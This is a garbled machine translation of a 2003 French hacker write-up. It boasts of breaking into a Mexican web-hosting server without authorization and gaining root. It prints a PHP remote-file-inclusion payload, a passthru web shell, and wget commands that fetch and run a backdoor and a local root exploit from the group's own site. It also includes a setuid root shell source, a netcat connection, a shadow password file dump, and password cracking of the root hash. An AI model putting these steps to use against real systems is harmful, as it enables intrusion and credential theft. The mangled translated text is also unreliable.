This page has been robot translated, sorry for typos if any. Original content here.

Racine sur le fournisseur d'hébergement


Intro.
J'ai décidé de décrire ce piratage en particulier, car il se passait juste avant (et pour le moment, le 23/01/03 - le serveur est toujours entre les mains de DHG, pour ainsi dire). On m'a également demandé de décrire un piratage intéressant il y a longtemps.
Je ne veux pas que cette histoire soit un outil pour les atrocités d’autres personnes, alors nous commettons délibérément des erreurs / inexactitudes (que tous les utilisateurs avancés remarqueront d'ailleurs). Eh bien, mordez aussi des choses élémentaires, telles que "les équipes Linux aussi dans quel endroit chercher, comment compiler les exploits", nous ne le ferons pas. Alors allons-y.

Round # 1: à distance.
En général, l'objectif initial était le portail mexicain Linux www. ***. Com, qui était autrefois hébergé par ce fournisseur.
Tout d'abord, il était nécessaire de connaître l'axe sur lequel ce portail se situe. Bien que le tronçon soit clair, le site sur Linux ne peut pas se bloquer sous Windows. Le http était: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", la bannière ftp indiquait:
serveur FTP géré (version 6.5 / OpenBSD, port linux 0.3.2) prêt.
Balayage des ports, cgi-bug'i et toutes ces absurdités, nous n'avons pas - en tout cas, ou plutôt, décidé de remettre à plus tard. Eh bien, je ne voulais pas non plus couvrir l’essom. Donc, dans la bannière ftp, la phrase "hébergement" est apparue! Après avoir marqué sur ripnet, nous avons décidé de nous tourner directement vers ip, qui était www .. ***. Com. Il m'a amené sur le site "managedhosting.dialtoneinternet.com.mx", qui, évidemment, était son hébergeur. Plus tard, une bruteforce manuelle a été utilisée pour calculer le site d'hébergement actuel: dialtoneinternet.com.mx (www.dialtone.com).
Nous avons décidé de nous arrêter à ce stade et de retourner sur le site en panne. Il était sur le moteur PHP "phpWebSite" version inconnue. Ce prochain clone de php-nuke n’a pas mis l’accent sur la sécurité. Toutes les versions de PWS jusqu'à 0.8.2 (même avec une marque stable) présentaient une vulnérabilité liée à "l'injection de source Php". Pour ceux qui ne disent rien à cela, consultez l'article de r4ShRaY sur cette vulnérabilité. Le reste, lisez la suite. Alors, voici un peu de fichier sorsa modsecurity.php:

<? php
global $ inc_prefix;
si (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

IMHO, tout devrait être clair pour tout le monde. Exécutez ce script de la même manière:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Le fichier htmlheader.php, présent sur notre site, sera exécuté avec yet-undefined_right. La seule chose qui me dérangeait était le fait qu'il y ait une version corrigée ou une version plus récente sur le site attaqué (après tout, ce n'est pas une sorte de "page d'accueil de Vasya", mais un portail pour kewl-Linux-userz).
En général, nous avons créé le fichier htmlheader.php sur notre site avec le contenu suivant:

<? passthru ("$ cmd")?>

Puis je suis allé à:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Pour qui nous avons reçu une liste du www. # Note alors toutes les équipes gribouilleront sans "...? inc_prefix = http: // ..."!

Tour n ° 2: local.
> echo hi> kewl.txt; chat kewl.txt
Sur ces deux équipes, le navigateur a répondu avec un écran blanc comme neige vide. Cela indique que je n'ai aucun droit d'écrire dans le répertoire www. C’est-à-dire exprimer la déformation jusqu’à présent. Eh bien, avant de prendre d'autres mesures, il était nécessaire de collecter plus d'informations sur le système. L'occupation principale que nous avons suivie derrière le fichier httpd.conf:
> cat /etc/httpd/conf/httpd.conf
De là, nous avons arraché la version front-end (en passant, l'en-tête http "Server" était muet sur la présence de FrontPage'a) et la route vers les annuaires www des sites: dialtoneinternet.com.mx (fournisseur d'hébergement cassé), stormarketing.com, altavistablinds.com, parigitown.com, ainsi que sur plusieurs ressources majeures:
# -FrontPage- version = 4.0
##
## httpd.conf - Fichier de configuration du serveur HTTP Apache
##
...
<VirtualHost 66.33.62.88>
<Répertoire / home / admin / www / serversecure>
Toutes les options
AllowOverride All
</ Répertoire>
Nom du serveur dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog logs / error_log
Journaux TransferLog / transfer_log
Groupe personne
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ Virtualhost>
...
Bien sûr, pour les déféquer, les droits ne suffisent pas, MAIS ils sont assez pour voir le service de première ligne.pwd (le cas échéant) de ces sites, avec toutes les conséquences qui en découlent;) Nous avons laissé cette opportunité pour cette aventure si je le faisais ne peuvent pas être en mesure de lever leurs privilèges.
De plus, pour votre intérêt, nous avons présenté:
> netstat -a
Qu'avez-vous obtenu (# - mes tags):
 Connexions Internet actives (serveurs et établis) Record-Q (tcp) 0 1 66.33.62. *: 2114 by.ru:www LAST_ACK # (1) tcp 0 0 66.33.62. *: Www 62.141.75.226:4811 ÉTABLI tcp 0 0 *: www *: * ECOUTER tcp 0 0 *: imap2 *: * ECOUTER tcp 0 0 *: pop3 *: * ECOUTER tcp 0 0 *: ftp *: * ECOUTER tcp 0 0 * : 81 *: * ECOUTER tcp 0 0 *: https *: * ECOUTER # (2) tcp 0 0 managedhosting.d: domaine *: * ECOUTER tcp 0 0 managedhosting2.:domaine *: * ECOUTER tcp 0 0 spacebattles.net: domaine *: * ECOUTE tcp 0 0 66.33.62. *: domaine *: * ECOUTE tcp 0 0 localhost.locald: domaine *: * ECOUTE tcp 0 0 *: smtp *: * ECOUTE tcp 0 0 *: mysql *: * ECOUTE tcp 0 0 *: casp3001 *: * ECOUTE tcp 0 0 *: casp3000 *: * ECOUTE tcp 0 0 *: casp5105 *: * ECOUTE tcp 0 0 *: casp5103 *: * ECOUTE tcp 0 0 *: casp5104 * ECOUTE tcp 0 0 *: 1581 *: * ECOUTE tcp 0 0 *: 1024 *: * ECOUTE tcp 0 0 * ssh *: * ECOUTER # (3) udp 0 0 *: 4320 *: * udp 0 0 managedhosting.d : domaine *: * udp 0 0 managedhosting2.:domain *: * udp 0 0 spacebattles.net:domain *: * udp 0  0 66.33.62. *: Domaine *: * UDP 0 0 localhost.locald: domaine *: * raw 0 0 *: udp *: * 7 raw 0 0 *: tcp *: * 7 raw 0 0 *: icmp *: * 7 raw 0 0 *: tcp *: * 7 Sockets de domaine UNIX actifs (chemin d'accès I & Node unix 0 [ACC] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket unix 0 [ACC] ÉCOUTE DE FLUX 2087 /tmp/mysql.sock unix 4 [] DGRAM 290 / dev / log unix 0 [ACC] ÉCOUTE DE FLUX 549144 / var / run / ndc unix 0 [] FLUX 565939 unix 0 [] DGRAM 555692 unix 0 [] DGRAM 549142 unix 0 [] DGRAM 3193 unix 0 [] DGRAM 303 
(1) - c'est nous =)
(2) - la présence de ssl exprime généralement l'échange d'informations privées avec le serveur (cc, par exemple). Bien que, pour l'hébergement, c'est dans l'ordre des choses.
(3) - ici c'est coquille! Cela nous sera utile plus tard.
Cela aussi les ports n'avaient pas besoin de scanner :)
Ensuite, il était nécessaire de procéder à certaines actions spécifiques, ou plutôt, de connaître au moins presque la version de la rubrique et, sur cette base, de danser davantage. Donc, pour ceux qui ne le savent pas, certaines distributions (sinon toutes) Linux laissent le fichier "* -release" (où * est le nom de la distribution: mandrake-release, cobalt-release ...) dans le répertoire / etc / Les administrateurs n'ont également aucun moyen de le réparer.
> cat / etc / redhat-release:
La version 6.1 de Red Hat Linux (Cartman)
Obaaaaa, je dois dire que nous ne nous attendions pas à cela :) Tout le reste bla bla était une question de technique. Pour atteindre la racine tant attendue, nous avons décidé d’utiliser la vulnérabilité de RedHat dans rcp.

Red Hat 6.2: rcp possible trou de racine
En fait, la vulnérabilité a été trouvée dans la coiffe 6.2. À propos de 6.1 dans un message de Andrew Griffiths et Tlabs n’a pas dit un mot. En espérant avoir de la chance, nous avons présenté:
> ls -alF `quel rcp`
-rwsr-xr-x 1 racine racine 14868 30 juil 1999 / usr / bin / rcp *
Oups! Suidny rcp possède les locaux pour être! C'est déjà bien :) Je me suis rempli "rcpsploit.pl" de tlabs plus, après avoir étudié la source, arrêté. J'expliquerai peut-être comment cet exploit fonctionne - cela vous aidera peut-être à comprendre l'essence de la vulnérabilité du problème qui s'est également posé.
Alors il crée 2 fichiers:
/tmp/shell.c---------------------

#include
#include
int main ()
{
setuid (0);
setgid (0);
execl ("/ bin / sh", "sh", 0);
retourne 0;
}


hé ------------------------------
Merci à Andrew Griffiths pour le rapport de bug

Ensuite, par le biais de rcp suedny, la compilation shell.c compile également chmod'om s’agit d’une manière tellement pure. Ici aussi tout! Nous commençons le shell compilé, nous obtenons également le shell avec uid = 0, gid = 0. Mais quelle est l’utilisation de ce shell pour nous si nous exécutons des commandes via un serveur Web? : - /
Faire cet exploit a été autorisé à fonctionner uniquement sur le shell "normal".
Eh bien, besoin d'une coquille? Il le fera! Dans mes archives de warez, une petite orge perlée était en train de prendre de la poussière, que nous avons également décidé d'utiliser:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Suivant sur votre ordinateur:
> nc ***. com 51015
En connectant:
> cd / tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, trop facile, il va falloir bien aller :)
> id
uid = 0 (racine) gid = 0 (racine) groupes = 0 (racine), 1 (bin), 2 (démon), 3 (sys), 4 (adm), 4 (adm), 6 (disque), 10 (roue)
Ici aussi tout :) Eh bien, aussi le dernier:
> chat / etc / shadow
root: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
démon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... etc ...
JTR a compté 977 mots de passe%) Pour accélérer la recherche, nous avons introduit:
john -i: all -u: ombre racine
Quelque part 8 heures et ... le moment tant attendu:




Ensuite, j’y ai versé de l’argent, quelques datapipes également bnc ... même si c’est une autre histoire ...

Ce qui a été utilisé dans le piratage:
Netscape v.xz
secureCRT 3.1
Netcat
John l'éventreur
backhole.pl
rcpsploit.pl
Cerveaux
PacketStormSecurity

Conclusions \ commentaires \ commentaires:
1. Si un serveur ou un autre s'appelle de manière importante un fournisseur d'hébergement ou un portail Linux, cela ne signifie pas pour autant qu'il est bien protégé.
2. Pendant le processus de piratage, vous ne devriez pas faire de déclaration spéciale de votre identité (cet article le sera toujours dans le futur).
3. Lors du piratage informatique, le logiciel dit de "piratage informatique" n'était presque jamais utilisé.
4. RH6. * - ne rien manger :)

PS IMHO, le lecteur pourrait avoir l’impression que j’ai eu de la chance. Le piratage général a pris quelques minutes. Ce n’est pas le cas. Il y a eu des moments où ils ont simplement lâché prise, à quelle heure je voulais me battre la tête contre le mur.

Publié par: D4rkGr3y


Matériel publié avec l'autorisation de DHGROUP (http://www.dhgroup.org)